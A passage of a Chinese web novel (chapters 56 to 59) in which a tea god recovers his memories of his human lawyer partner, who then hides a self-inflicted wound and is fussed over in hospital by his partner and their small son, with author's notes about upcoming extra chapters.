贺任沅坚决不喝。芒果季还没过去,他不喝,白清语就不会想着出去捡绿化带芒果,不捡芒果就不会被车撞。 他宁可饿死,这点骨气他还是有的。 白清语仰头喝了一口,上前堵住贺任沅的嘴巴。 贺任沅绝食三天没力气,他一推就倒了,任由他将芒果汁渡过去。 白清语伸手抱住他:“有力气了吧?” “……”贺任沅功亏一篑。 白清语发现了更多让贺任沅哑口无言的小妙招。 贺任沅的教学目的不就是想让他学会唱反调吗? 白清语很会,比如在贺任沅问他舒不舒服的时候说不舒服、技术不好、没有货比三家。 贺任沅被他气得连芒果都吃得下了。 但贺任沅也有坐怀不乱的时候,尤其是讲到有些无聊但重要的知识,可能也是想一鼓作气讲完。 白清语一会儿去喝水,一会儿去给老师泡茶。 “贺律师,我喝了很多水想要尿尿。” 白清语想要尿遁,被贺任沅一眼识破,白清语有生理需求是什么样子,他还能不知道吗。 “不准,先把刑法说完。”他腿瘸了,人一走就抓不到了。 白清语站起来:“我怎么知道你说的刑法一定是对的,没有骗我?你有教师资格证吗?” 贺任沅惊讶地挑眉,白清语还会釜底抽薪了? “那你想怎么解决?” 白清语:“不应该问我,你应该自证。” 贺任沅哑口无言。 白清语狡黠道:“这样,我去人间买一套法典看看,我正好有一百块钱。” “你等着我。” 白清语说完,正大光明地消失。 一到人间,他才没有去买什么法典,而是在小吃摊前徘徊。 贺任沅闹绝食很久了,神境里只有他不想吃的芒果酱,白清语想买点加工过的小吃回去。 由人类加工的食品,应该会好吃一点。 “海蛎饼好吃吗?”白清语看着阿姨炸海蛎饼,里面放了红萝卜丝、紫菜、包菜丝,还要洒很多葱花和几粒花生。 炸好的海蛎饼浮起来,胖胖的,很可爱。 这一口就能咬到很多食材,深深吸引了白清语。 “好吃的,五块钱一个,给你现炸。” 白清语:“好,来两个。” 贺任沅食量很大。 摊主指了指支付码,白清语交出一张百元,“我只有现金。” 摊主只能在围裙擦擦手,找了半天给白清语找零90元。 “章鱼小丸子好吃么?”白清语问。 “好吃的。”摊主说。 “来一份。” “烤冷面好吃吗?” 因为贺任沅最近都吃甜的,白清语青睐给他买重油重盐的小吃。 他高高兴兴提了十种小吃回去,把刑法抛在云外。一百块能买太多东西了。 贺任沅时隔数月,再次闻到久违的正常食物香气——贡品一般都是清水捞煮,味道寡淡。 白清语:“你吃,吃了有力气你会舒服一点。” 虽然清高禁欲的贺任沅也很有气质,但总归不舒服。 贺任沅在白清语出去的一小时里,绞尽脑汁优化自己的教学案例,努力让课堂变得生动。 课堂怎么生动,都不如白清语生动。 最该优化的是教学模式。 怎么不能一边干老婆一边教呢? …… 贺任沅的外伤先于内伤修养好,他在掉崖是内脏破损,比骨折难以修复,因此他能自由活动后,还得在神境里休息。 他除了嘴上教学,还能教白清语游泳了。 茶神虽固执,好歹淹不死,费了一番功夫,也收获了新体验。 直到有一天,贺任沅养好伤,白清语变成茶树的本体,想要跟早已沉睡在山涧的古老茶神们打个招呼—— 他想跟这个凡人同心同寿。 两百年的茶树美丽优雅,翩翩照水,白清语变回本体,惊讶地发现自己的树根上发出一株小小的茶苗。 这是—— 大雾弥散,前尘如过眼云烟。 再后来,茶神以为自己刚从休眠期醒来有了宝宝,从容地养起了白小茶。 怀着白小茶的时候,白清语也去过几次人间。 他在茶神庙宇外面徘徊,在野果子树下面仰头。 他往回拿了几次贡品和果子,放下时却涌上迷茫。 因为他本人只吃阳光雨露,不怎么吃人类食物。 可能是茶宝喜欢吧。 白清语摸了摸自己的小腹,愉快地接受了这个解释。 等茶宝破土而出,根系与母树分离,白清语就迫不及待地把他带到人间。 与贺任沅重逢。 眼泪打湿了白清语的眼罩,他抱着鲜血淋漓的贺任沅,原来他很会给茶宝剪头发是因为贺任沅,茶宝的黑头发是因为他喜欢贺任沅的头发。 他喜欢什么,茶宝就有什么。 “想起我了么?”贺任沅的嗓音带着低声的安慰,“没有想起也没关系,我还有办法。” “我想起来了!” 贺任沅嘴角一扬,没防备被白清语推开。 白清语猛地撕下自己的眼罩,他的手脚都沾满了贺任沅的血,触目惊心。 难怪今天贺任沅穿了一身深黑,因为黑色最看不出血色,他早就计划好了。 贺任沅的唇色很白,一定抽了很多血才集齐。 他嘴唇颤抖着,握住贺任沅的手腕,想要给他输入神力。 贺任沅拼着力气推开:“医学能解决的事情,不需要耗费你的神力。” 他在神境已经用了白清语很多很多神力。 “我们先去洗澡换衣服吧,再来处理这些血,晚上茶宝回来别吓到他。” 白清语:“对、对,先换衣服。” 贺任沅跟着白清语后面,慢悠悠地走着,虽然付出一点代价,好歹有了好结果。 白清语转身看他,贺任沅冲他笑,好像一点事都没有。 白清语挠了挠脸蛋,他的脸皮没有贺任沅厚,想起过去还是会脸红。本来很清白的,突然之间好黄好黄。 他正要跟着贺任沅进房间,贺任沅突然问他:“你想起了什么?” 白清语的脸色一下子变红。 贺任沅:“你是不是想起一些支持我们鸳鸯浴的证据?” 白清语习惯跟他抬杠:“才没有!” 贺任沅笑着看他。 白清语小声:“你自己洗澡,我也回去洗澡。” 贺任沅看着他上楼,锁上门,解开沾血衣服和伤口分离时,才溢出第一声痛吟。 为了万无一失,他拿匕首划了自己一刀,做个受伤的样子给禁制看,至少要真的有血液从他身体里流出才真实。 他擦洗了身上的血液,倒了一些药粉消毒,咬牙用纱布盖住。 疼,也不疼,他心里快活得很。 ———————— 我们茶神,只上老攻的当,只抬老攻的杠,只吃老攻的()自行押韵。 第57章 白清语洗澡洗得快,方才他们是站在茶树下,贺任沅问他要不要变成茶树,白清语没有变。 大部分血液被衣服和裤子截留,少部分流到了泥土里,白清语带着铁锹,挖了个洞,把带血的土埋进深坑里。 他上楼,走到贺任沅卧室门口,拧了下门把手,没拧动。 白清语蹙眉,这可真是奇事。 里头的人听见动静,连忙过来开门。 贺任沅穿了一件烟灰色衬衫,衣冠楚楚,还喷了点香水。 白清语:“你为什么锁门?你之前说我是恶霸保姆的时候,也没见你锁门。” 恶霸保姆……他竟然还这样骂过老婆?贺任沅面色惭愧:“此时此刻意义重大,我想打扮好再见你。” 白清语看了一眼他抓过的发型,耳垂一热,现在看贺任沅跟以前的欣赏角度有些不一样。 他会注意到贺任沅的手指、肌肉、头发,而不是只把目光聚集在他脸和嘴巴。 白清语信了贺任沅的话,进门把他脱在地上的衣服拎起来。 这么多血,自己洗不干净,扔垃圾桶里搞不好还会被环卫工报案。 贺任沅刚想说“他自己洗”,就看见白清语双手一扬,衣服凭空消失,应该是扔进神境里了。 神境倒是很适合对负心汉毁尸灭迹。 贺任沅一键查询自己失忆的原因,力求避免:“我为什么会失忆?” 白清语道:“因为你是我带进神境的,你和神境的唯一联结在于我想让你进去,我一失忆联结失效,你就被弹出去并没收记忆了。” 幸好是在贺任沅伤好之后,白清语有些后怕,他要是容易怀孕贺任沅就糟糕了。 神境估计也没想过会有凡人一进来就没出去过,原地完成恋爱生子两件大事。父母之命媒妁之言,这才是古茶神心里的正常流程,但凡出去见个家长,也不至于无人知晓。 贺任沅垂眸含笑,抵着他的额头:“看来你之前喊我滚出去都是假的,心口不一。” “我哪有……”白清语反应了一下,微怒,“你耍流氓么。” 贺任沅:“生气就我把拖到神境里揍一顿,我反正记不住。” 白清语低声道:“下次带你去神境我就不让你失忆了。” 贺任沅本来怕白清语发现他的伤口血气,喷了香水,还不敢抱他,终是忍不住住,紧紧抱住了白清语,喉咙发涩:“谢谢你原谅我吃软饭的行为。” 白清语哪里还记得跟邓伯一起批判过软饭男,双标道:“哪里吃软饭了,你是我捡到的人,就是我的,我想怎么养就怎么养。” 是他不让贺任沅做手工,他茶神的男人,本来就不需要上班嘛。 要不是他养过贺任沅练手,怎么会轻松把茶宝养得白白嫩嫩。 贺任沅同意老婆把他当畜生养,反正他也不怎么想当人。他贴着白清语的鬓发,吻了吻,道:“你能变出长发吗,我想给你簪发。” 白清语顺从地变出黛色的长发。 贺任沅挑起他几缕头发,绕了绕,用翡翠簪子脑后挽了一撮发髻:“收了我的簪子,就是答应我的追求。” 白清语不吭声,微微垂着一截腻白的后颈。 贺任沅得寸进尺地问:“如果你没有恢复记忆,会接受我的簪子吗?” 白清语眼里出现挣扎和犹豫。 贺任沅也不知道跟谁较劲,有些酸地说:“我哪里比不上那个软饭男?” 白清语:“你骂自己?” 贺任沅看着他。 白清语这才想起贺任沅的记忆并不完全,他只恢复了一半,那些逼着他学习、逼着他对糖衣炮弹产生抗性、教他谈判策略的记忆,还握在自己手中没还。 贺任沅很有手段,也不会手软,在起初的绝食过后,找到了新的方法。他骗到老婆的第一件事,就是筑高城墙,让下一个人进不来。这道墙刻在了茶神的骨髓里,哪怕失忆了还在发挥防御作用,尤其是对以心血建墙的贺任沅本人很有效果。 所谓防狼,首先就要防跟自己一样的大尾巴狼。 白清语磕巴地说:“因为是你教我的,不能被轻易打动。” 每当他为贺任沅脸红心跳时,总会伴随一股唱反调的鼓动。白清语很信任贺任沅是好人,也无条件相信自己心里的直觉。 贺任沅顿时意识到自己除了骗吃骗炮外,还干了其他活儿,这样才对得上,按照他怀疑自己失忆就写日记的性格,有白清语这样的老婆,怎么能不未雨绸缪? 贺任沅轻声哄着问:“我还教你什么了?” 白清语:“法律、常识、如何拒绝搭讪……” 有涵盖很大的民法,也有细节到微信不能随便加别人。 贺任沅再次唾弃自己。白清语的油盐不进,是他在认真执行对他的爱意。他自己建造的城墙,自己去挖墙角,不好挖就委屈发疯,实在是无理取闹! 他说白清语榆木脑袋的时候,从没想过如果不是茶神的固执,早就换一个对象了。 贺任沅祈求道:“我剩下的记忆碎片找回了么,我想看看。” 白清语:“找回——” “爸爸,我回来了!”茶宝的声音从楼下传来,白清语一下子扑到窗户边探出头,看他和贺任沅爱的果实。 是黑头发噢,不是因为人类食物吃多了,是因为随了贺任沅。 贺任沅跟过来,看见他爸妈也来了,道:“把头发变回去。” 白清语拔下簪子:“噢。” 大概是婚宴的芒果露太好吃,贺望重和舒枚完全是溺爱孙子的爷爷奶奶,吃席遇到茶宝爱吃的,就舍下脸面连吃带拿,两人一人端着一碗芒果露,路上怕洒了都没松手。 白清语一怔,茶宝这么爱吃芒果,这俩父子口味一致,贺任沅也应该爱吃。 因为他捡芒果被车撞,贺任沅就不喜欢吃芒果了。 贺任沅似乎还没想起来原因,或许以后能重新喜欢芒果。白清语眸子一转,决定有选择地把记忆还给贺任沅。 被车撞、被“欺负”的茶神狼狈的经历不给。前半部分的交往茶神比较高高在上,贺任沅瘫痪又没力气,主动权在他。后半部分的互动……嗯,他讨厌脑子空白一片的时候还要输入。 白清语提了一句:“芒果……” 贺任沅:“芒果怎么了?” 白清语笑眯眯:“绿茶芒芒好吃,你在神境里最爱吃这个。” 贺任沅皱眉:“是么?”那他吃太多腻了?不可能,任何和茶神原液组合的食物他都吃不腻。 “那我的记忆?” 白清语:“找回来一点,晚上给你。茶宝在等我们下楼。” 贺任沅:“行。” 白清语从窗户边收回视线,一转头突然闻到贺任沅身上的气息不太对劲:“还有血?” 贺任沅:“那么多血,简单冲澡冲不干净血腥气,医生嘱咐我不能洗澡太久,我只能喷了一点香水。” 白清语:“没事的,凡人闻不到,你不用谨慎到喷香水。” 贺任沅:“嗯。” 两人一起下楼,就听见舒枚看着地板,一脸疑惑:“怎么有血迹?” 贺任沅:“刚才杀鸡了。” 舒枚“啊”了一声,找出拖把顺手拖了,茶宝喜欢光脚跑,踩到鸡血太脏了。 白清语抱住两小时不见的茶宝:“宝宝,爸爸爱你。” 他回忆起看见茶宝的第一眼,那种心情与失忆后发觉自己有崽的心情不同,前者的喜悦里包括分享,他当时想马上就告诉贺任沅,但禁制没有给他机会。 因为是刚刚想起来的,仿佛就在上一秒,想要分享的心情还没散去。 白清语举着茶宝,眼里盛着明亮的笑意:“贺律师,这是我们的宝宝!” 小小一团的茶宝悬空着,不明所以地蜷着脚丫,看起来更小一只。 贺任沅等到了白清语亲口承认的一天,压不住嘴角地把茶宝接过来搂在怀里。 白清语不吝啬地教茶宝道:“老板叔叔也是你的爸爸,宝宝改一下称呼噢。” 白小茶:“爸爸叔叔?” 白清语:“不是噢,是爸爸。” 白小茶:“老板爸爸?” 听起来像打工崽称呼资本家,贺任沅道:“叔叔想要听两个字的。” 白小茶大声:“叔叔。” 贺任沅:“……” 贺望重简直要急死,根本没注意白清语的说辞,就注意到他孙子现在才认爹,叔叔都喊顺口了,看吧,现在都高攀不起“爸爸”这个词了。 白清语对茶宝道:“宝宝是黑头发的宝宝,叔叔是黑头发的爸爸。” 白小茶:唔? 贺任沅温柔道:“没关系,慢慢来。” 白小茶坐在贺任沅怀里,脑袋恰好抵着贺任沅的伤口,压出了一些血,贺任沅面不改色。 白小茶嗅了嗅,一脸疑惑:“爸爸?” 白清语给贺任沅使眼色,让他应。 贺任沅意会自己被老婆让了一声爸爸,心里暖暖的:“嗯?茶宝想说什么?” 白小茶在新爸爸怀里,转了转身,他的手很小,远小于衬衫两颗扣子间的距离,猝不及防扯开一看:“爸爸流血了!” 贺任沅心里僵僵的:“……”这一声爸爸有点代价。 在场的人当即变了脸色,只有贺望重在状况外,白清语和舒枚都涌上来,一个拎走小崽子,一个卷起他的衬衫下摆,撕开他要掉不掉的绷带,看见了一寸锋利的刀伤。 伤口流血倒是不多,但周围发红,可能会感染。 贺望重握紧拳头,这一看就是刺伤,贺家堂堂正正做生意,谁伤了他的儿子?! “怎么回事?” 贺任沅:“削苹果没注意。” 贺望重:“你当你爹傻——” “别说话。”舒枚按下了激动的丈夫,手心覆在贺任沅额头上,一摸,觉得他快要发烧,“去医院。” 白清语抱着小崽子,瞪着贺任沅。刚才一瞬间贺任沅又躲过了他的神力输出,仿佛早有预判,更加说明他的可恶。 贺任沅捏了捏手指,不敢看他,一是心虚,二是怕父母察觉此事跟白清语有关。 “我没事。” 白清语跟着去医院,这是他第一次来到人类医院,贺任沅因为他躲过了一次住院,终究还是来了。 穿白大褂的医生一眼就判断出贺任沅近期失血,但贺任沅拒绝了输血,道:“治伤就行。” “要缝针,打麻药。” 白清语在一旁凉凉道:“他能忍,别打麻药。” 从受伤到现在一声不吭,真能扛。如果不是茶宝发现了,要撑到什么时候?是不是他在神境屏蔽了贺任沅的痛觉,让他觉得外伤疼痛无足轻重? 贺任沅当然都依着,挤出一个笑容:“不打。” 白清语:“哼。” 舒枚目光晃了晃,给医生使眼色,医生表示明白。伤口处用美容线缝了五针。 舒枚看得眼皮直跳:“医生,这要住院一周吧?” 医生配合道:“要的。” 舒枚:“给他开一周的,就在这呆着,结痂了再回去。清语,你觉得如何?” 白清语眼睁睁看着贺任沅被换上病号服,满脸无奈又反抗不了,躺在床上手腕一边戴上病号条,一边连着监测仪。 白清语突然觉得人类医院也不错,点点头:“这样很好。” 医生道:“贺总底子好,很容易恢复,最近多食补,问题不大。” 贺望重正要自告奋勇,白清语出声揽下了这个活儿。 舒枚在茶宝认爹的电光石火间明白了什么,抓着贺望重离去:“你歇歇,机会给小两口。” 贺望重一头雾水:“什么小两口……” 白清语把茶宝放在贺任沅被子上,压住,让贺任沅掀不开:“宝宝你看着他不许起床,爸爸回去做饭。” 白小茶:“好噢!” 贺任沅心里涌上不详的预感。 白清语回到贺家,开始鼓捣流食,贺任沅看来是没吃够,还能再吃。 但是贺家没有他在神境用惯了的石槽,他考虑要不要拿出来。 管家见白清语站在厨房一筹莫展,听闻困难后,微微一笑道:“你需要一台破壁机,能把鱼骨头都打碎成鱼汤。” 白清语眼睛一亮:“还有这种好东西?” 一小时后,贺任沅看着眼前这一盆成分和颜色都很复杂的汤,欣然道:“很香,老婆,没胃口也能喝。” 白小茶当复读机:“很香!” 白清语挑眉:“贺任沅你喝完。”破壁机打的汤非常非常细腻,很适合没有胃口的病人像喝白开水一样喝光。人类真是聪明,他在神境里面捣半天都做不到的事情,破壁机三分钟做到了。 等白清语进卫生间帮他拧毛巾时,贺任沅立刻求爷爷告奶奶,哄骗小孩:“茶宝,悄悄帮爸爸喝一点,爸爸给你买冰淇淋。” 白小茶:“好噢!” 贺任沅在这一秒理解了养儿防老。 大孝子一下子帮新爸爸干掉半碗,抹了抹嘴巴,忍不住说实话:“没有很香噢。” 贺任沅:“嘘。” ———————— 下一章:久病床前无孝子。 第58章 贺任沅喝过很多一言难尽的流食,但神境食材种类有限,最多混合两三种,多是水果,加工方式有限,勉强当果茶喝,饿极了什么都能吃。 可是在人间不一样,大抵是环境影响心境,在拿起手机就能点外卖的条件下,难吃的食物显得更加难吃。 白清语一出来,贺任沅立即装模做样端起剩下的半碗,抿了一口。 生姜去腥,但压在姜味底下的腥气蠢蠢欲动,还有一丝红枣的甜。 他儿子的孝心不输卧冰求鲤,但捉到鱼最好不要交给他老婆。 贺任沅:“茶神大人,这是一碗什么汤?” 白清语现场解答凡人的疑惑:“猪肝猪心芝麻红枣补血,生姜去腥驱寒。” “你不是总吃猪肝吗?你还感冒了罪加一等。” 这几样食材打出来的东西,颜色跟中药似的。味道很淡,生姜味很重,原来他的微感冒被白清语发现了。 贺任沅屏住呼吸,一口气喝光,放下碗时,看见茶宝有些崇拜的目光,好像这一刻他是非常伟岸的爸爸。 白清语从兜里掏出一颗薄荷糖,剥开了给贺任沅。 贺任沅变魔术一样默默把糖塞进了儿子嘴里。 白小茶迅速含住,用奶呼呼的婴儿肥当老板爸爸的障眼法。等薄荷糖在嘴里融化,就只剩甜甜的味道了。 贺任沅喝了一口葡萄糖压惊:“我们去外面逛一逛吧。” 白小茶压在他左侧的被子上,白清语坐在他右侧的被子上,像两个秤砣一样,把贺任沅钉在中间。 白清语把温热的毛巾覆在他脸上:“你现在很虚弱,动不了,洗完脸就睡吧。” 贺任沅:“你带茶宝回去睡吧,感冒会传染。” 白清语:“不会的。” 贺任沅一愣,神境里日夜相守,但在这个世界,白清语第一次主动留下陪他过夜。 贺任沅住的是单人病房套间,两米床,足够睡三个人,既然不会传染,他求之不得。 贺任沅打电话给助理,让他加一张儿童床,衔接在白清语那一边。 白清语皱眉:“这不是够睡么?” 贺任沅揽过他的腰肢,低声道:“你没发现每次都挤到茶宝了?” 在黄山过夜那一次他当时不敢细想,他和白清语黏糊的睡姿,都把茶宝挤到枕头上去了。 白清语带着茶宝睡了两年多,没有发现这个问题:“哪有,我和小茶睡姿都很标准。”茶树又不是动物,不喜欢动来动去。 贺任沅找儿子当证人:“在爸爸中间睡觉挤不挤?” 白小茶点头:“宝宝一钻出去就没有位置了!” 白清语:“……” 不一会儿,医院便推来了一组儿童床,放在白清语那一侧,铺着软绵绵的垫子。 贺任沅:“有点像产科使用的婴儿床。” 他不由脑补了老婆在医院生完孩子的模样,应该就是这样,茶宝睡在婴儿床,白清语躺在大床,他作为新手父亲忙前忙后,给茶宝喂奶、换尿布,给老婆洗澡换衣服。 以上,他一件事也没有参与,他见到茶宝时,就已经是会跟爸爸的雇主躲猫猫的懂事宝宝。 所以他失点血算什么,如果白清语是像人类一样生产,躺在病床上的白清语只会更虚弱。 “茶宝刚出生时是什么样的?” 白清语:“五斤多的宝宝很可爱,天天晒太阳睡觉,也晒不黑。” 白小茶疑惑:“爸爸,谁是五斤多的宝宝?” 白清语:“是你噢,宝宝。” 白小茶笑出来:“是宝宝噢!” 白清语洗漱完上床,打开手机搜索补血大全,他只会用神力解决问题,对食补一窍不通,但是只要把“补血”和“营养均衡”结合起来,又是他的擅长领域了。 “我看会儿手机,你和茶宝先睡觉。” 贺任沅一点都不想睡,老婆刚刚想起他们的过去,如果不是茶宝说漏嘴,至少也有个烛光晚餐,而不是吃流食。 良辰美景,花好月圆,很适合增进感情,贺任沅把白清语揽进怀里,想要调情。 “老婆,你在……” 贺任沅目光在看见白清语的搜索结果时狠狠顿住,人很难在面对猪食时调情。 贺任沅放开聚精会神的老婆,把茶宝抱到腿上坐着:“茶宝想睡觉了么?” 白小茶:“宝宝再玩一会儿。” 白清语掀了掀眼皮,他发现了,白小茶在靠近贺任沅时精力挺旺盛,趋近人类幼崽,可能父子间也有磁场影响。 贺任沅:“不想睡觉那爸爸给你讲故事。” 贺任沅伸手从抽屉里拿出一本成语故事绘本,下午白清语把小崽子扔在他这里监督他时,他就叫人买了一堆。 白小茶坐在贺任沅大腿上,乖乖的没有靠着老板爸爸的胸口。贺任沅微弯着腰,把绘本举在茶宝面前:“嗯,第一个故事,愚公移山。” “从前有两座山,挡在了愚公爷爷的家门口……最后,神仙被愚公爷爷感动,派人搬走了两座山。” 白小茶似懂非懂。 贺任沅:“就像一碗很大的汤,爷爷喝不完爸爸喝,爸爸喝不完,茶宝喝,总有一天我们会喝完。” 白清语一边截图做笔记一边道:“这个故事告诉我们,办大事还是得靠神仙。” 白小茶:“还是得靠爸爸!” 贺任沅:“……”网上说这种一方教育孩子,另一方拆台的情况怎么处理来着,是不是得打一顿屁股? 白小茶举一反三,机智地和老板爸爸商量:“老板爸爸,你让神仙爸爸把汤倒掉吧。” 这样,爷爷不用喝,爸爸不用喝,宝宝也不用喝了! 倒掉这个词从茶宝嘴里说出来,真是十分残忍。 贺任沅:“我不敢。” 茶神说了,不准许愿,只能靠感动。 茶宝都感动中国十大孝子了,贺任沅还感动不了茶神。 白清语拟好了明天的一日三餐,满意睡下。他面对茶宝的方向,手掌轻轻拍着小崽子的小被子,贺任沅从身后抱住他,一家人像WiFi一样从小到大排列,幸福信号满格。 翌日,贺任沅一伸手摸了个空,一睁眼,老婆孩子都没影了,而外面传来破壁机高速旋转的声音。 “……” 失血的确对他的警惕性有所影响,他从没睡得这么沉,连枕边人起床的动静都没发现。 白清语怎么把破壁机都搬过来了? 茶神现在最喜欢的电器就是破壁机,兼顾切菜和蒸煮的功能。 他只要把食材洗干净丢进去,先选择绞肉功能,切碎,再添加配料,启动搅拌,最后加水,高速研磨煮沸。 食材是管家派人送来的净菜,他甚至不用洗。 早餐吃清淡一点,白清语往破壁机里扔了莲子、花生、红枣、黑米、黑豆,用豆浆功能做出了一碗杂豆浆。 白小茶吃着肉包,用吸管喝豆浆:“好吃,爸爸。” 连屋内的贺任沅也闻到了正常的食物香气,心里一动,他自伤这件事翻篇了?老婆果然心软又善良。 贺任沅坐在茶宝对面,试探性地拿起一个肉包,见老婆没反对,感动得泪流满面。 他咬了一口肉包,面前被白清语放下一碗豆浆。 白清语冷着脸,用剪刀剪开两粒鱼油,滴入豆浆里。 这玩意儿的腥味…… 贺任沅:“谢谢,但我可以自己吞的。” 白清语:“鱼油太大颗了,吞咽幅度太大会牵扯到你的伤口。” 贺任沅低声:“茶宝,帮帮爸爸。” 不知道严重性的白小茶,孝顺地把吸管探进爸爸的碗里,像龙吸水一样猛吸一口。 唔? 爸爸说过不能吐出来。 白小茶捏住软软的吸管,一脸庄重,表情仿佛大佬切断了某条重要石油管道,禁止豆浆回流到爸爸碗里。 茶宝咽下难闻的豆浆,把吸管放在桌上,捧起自己的碗猛喝。 他一口气喝完自己的豆浆,再咬了一口肉包子,最后摸摸自己的肚子,示意老板爸爸他吃饱了。 “宝宝吃不下了。” 贺任沅忙揉揉他的肚子:“没关系,爸爸自己喝。” 吃完早饭,白小茶从自己的果冻书包里拿出一本本子,幼儿园老师布置了手工作业。 “爸爸,你可以帮帮我吗?” 贺任沅打开幼儿园微信群,看见了作业公告,手工是为了锻炼孩子的动手能力,小崽子需要把水果、鲜花、叶子、动物等图案从图片上抠下来,然后用胶水黏在一副底图上,形成一副立体的画。 “当然可以。” 早上八点的阳光正好,斜斜地照进病房,铺在床的一角。 白小茶团在光影里呼呼大睡,贺任沅认认真真地帮儿子做手工。 半小时后,白小茶揉着眼睛醒过来,看见了已经完工的作业,迷迷糊糊的:“谢谢叔叔。” 噢,不是叔叔,是爸爸了。 他重新道:“谢谢爸爸。” 贺任沅:“不客气,你也帮爸爸一个忙。” 白小茶:“好噢。” 贺任沅拨通贺望重的电话,对茶宝道:“你跟爷爷说,能不能送饭到医院。” 白小茶对着电话复述:“爷爷可以送饭来医院吗?” 贺望重罕见地拒绝了茶宝:“对不起茶宝,爷爷今天手疼,做不了饭。” 白小茶道:“那爷爷好好休息,多吃饭噢。” 贺任沅一计不成,又循循善诱儿子:“爸爸抽中了一个汉堡免单,可以免费吃两个汉堡,茶宝想牛肉煲还是鸡腿堡?” 免费的汉堡,不吃就过期,白清语总没意见吧?吃饱了就不能再吃流食了。 白小茶:“爸爸,外卖员叔叔进不来。” 贺任沅:“……”白清语真是一手遮天! 贺任沅给祝一擎发消息:“住院了,来探病,我儿子也在,记得带零食。” 祝一擎回复他:“住院?怎么回事?我在国外,明天回。” 没等贺任沅想出第二个能探病的人,白清语就端着一碗什么进来了。 白小茶闻了闻空气,从床上爬下来:“爸爸,宝宝去尿尿噢。” 贺任沅:“……”原来这就是久病床前无孝子。 ———————— 估计下周正文完结,大家想看什么番外?有点想写一个贺任沅只能眼睁睁看着老婆给刚出生的茶宝喂雨水破大防的番外2333 第59章 等白清语走近,贺任沅明白了让白小茶尿遁的原因。 白清语搅了搅鱼汤,一阵中药的苦味弥漫开,“我在神境里找的草药,趁热喝,加快伤口愈合。” 贺任沅终于知道老婆早上消失的那段时间去干嘛了,神境里都是茶树和厚厚的落叶,草药珍稀,长在犄角旮沓里,并不好找。 他感动又畏惧地问:“草药单独喝效果更好吧?” 白清语:“草药太苦,怕你喝不下,加点你喜欢的鱼汤调和一下。” “你放心,这条鱼我剁掉了鱼头和尾巴,双面煎黄,加了姜葱蒜扔进破壁机。” 可以说不加草药之前,是一碗正常的奶白的鱼汤。 加了草药之后,跟武大郎喝的药没啥区别了。 贺任沅端着碗,余光看见茶宝从卫生间探出脑袋,因为被他的目光抓住,白小茶直愣愣地对视着,像一只看见了耗子药的小仓鼠,在要不要替爸爸喝掉之间犹豫。 贺任沅对天发誓,他绝对没有让茶宝帮他喝药的意思。 吃老婆软饭,让儿子喝药……世界上怎么会有这种人? 为了防止茶宝误会自己是一个没有担当的父亲,贺任沅屏住呼吸,一口气不带停地干掉,放下碗的一瞬间,渡劫成功可以升仙了。 “老婆,我真的错了,我再也不会受伤瞒着你了。” 白清语抱臂看着贺任沅:“真的?” 贺任沅:“真的,要是再犯就让茶宝叫别人爸爸。” 白清语:“好。” 贺任沅发完誓又有点后悔,“不然还是让我被天打雷劈吧。” 白清语:“被雷劈完你还得喝药。” 贺任沅:“……” 白小茶跑过来,踮脚在爸爸掌心里放了一粒彩色水果糖:“爸爸吃。” 贺任沅吃掉糖果:“谢谢茶宝,茶宝帮了爸爸天大的忙。” 白小茶瞪圆眼睛:“真的吗?” 贺任沅:“真的真的。” 白小茶又爬回床上,父子情深地挨在一起。 中午,白清语终于允许放行,两天没见到老板的助理马不停蹄送来营养套餐,哪怕是个二十块的快餐都会让贺任沅大快朵颐。 床上支着一个餐桌,放着三菜一汤,白小茶坐在爸爸对面,也分外珍惜来之不易的食物。 白清语给小崽子舀了一勺肉末豆腐,和他的干饭拌在一起特别好吃。 “谢谢爸爸。” 吃完之后,贺任沅主动要收拾碗筷,白清语按住他,把被子给他盖回去:“老实坐着。” 白小茶嗷一声扑在贺任沅腿上,压住爸爸:“爸爸,你乖乖的。” 不要惹爸爸生气噢,就吃不到好吃的饭了。 儿子训老,倒反天罡。 贺任沅老老实实地:“好的,爸爸知道了。” 吃好饭是天大的事,白小茶严格地监督着贺任沅,白清语不让干什么,他就不让贺任沅干什么。 宝宝是为了爸爸好噢。 幼崽的耐性能有多好?贺任沅不知道别人家的小孩是什么样,反正神仙是世界上最耐得住寂寞的人,这样才能度过漫长的休眠期。 茶宝的耐心都出奇地好,一整个下午,白小茶坐在床上和他大眼瞪小眼。 贺任沅:“宝宝,你在这个年纪是怎么坐得住的,没有一点事情要玩?” 白小茶:“唔?” 贺任沅要摸手机处理公务,白小茶就奶呼呼地劝阻:“爸爸,要多休息。” 贺任沅:“爸爸休息够了。” 白小茶:“爸爸说不够。” 哪个爸爸更有权威,根本不需要讨论。 贺任沅把他抓过来,放在腿上,又拿出绘本:“算了,那我们来读点成语故事。” “揠苗助长……从前有一个农民伯伯,他觉得地里的禾苗长得太慢了……” 一个故事还没说完,贺任沅歪头看小崽子——睡着了。 贺任沅勾了勾嘴角,小心翼翼地把儿子放进左手边的小床上,拿过平板开始登录公司的系统。 不就是哄睡?讲个故事就好了。 叮咚——平板微信跳出一条消息,是幼儿园的老师提醒各位家长和孩子一起完成手工作业和课后作业写一张数字“3”,明天准时上学(茶宝除外)。 愿意把孩子送进舒贺集团员工幼儿园的,一般是普通到中层员工,家长大多是高学历卷进来的学霸,知道学历的好处,对孩子的学业也有所期待,因此幼儿园也会轻度教学,不是纯玩型的。 但是茶宝年纪太小,白清语对他的要求就是吃饱饭,因此老师布置的书面作业总是要写一个(茶宝除外)。 贺任沅突然僵住,不是,他儿子看绘本三分钟就能睡着,他怎么笑得出来? 那以后怎么办? 会不会像白清语一样活了两百年还容易被人骗? 一生用智商碾压别人的贺任沅,皱着眉头,愁得上不好班。 他突然很想把白小茶喊起来,这个年纪是怎么睡得着的? 翌日,白小茶上学去了,病房里就剩两个人,白清语昨天除了吃饭睡觉出现其余时间都不在,今天送完茶宝上学,就准时回来了,没有要出去的意思。 贺任沅:“你昨天去哪了?” 白清语恢复记忆,应该抱着一起说情话亲亲嘴,结果一个住院,一个神出鬼没,最闲的小崽子天天睁着琥珀般的圆眼盯梢。 白清语低着头在床边坐下,语气没有昨天当家作主时硬气,竟然能听出一些不好意思:“我回了神境,干了一点大扫除。” 如果单单是茶神生活在神境,他更多时间愿意变成茶树,用叶梢感受清风,用根系触及大地,仿佛还活在代代沉眠的茶神的怀抱里,落叶是母神父神编织的厚棉被。 但这个景色对于人类来说就单调了一些。白清语记得神境里有一片地整个由一块石板构成,旁边还有个山洞。 白清语回去清扫落叶,把不见天日的石板露出来,搭了一个石桌,清掉山洞里的青苔和藤蔓,然后红着脸,在洞口挂了一对小红气球,在里面贴了一张喜字。 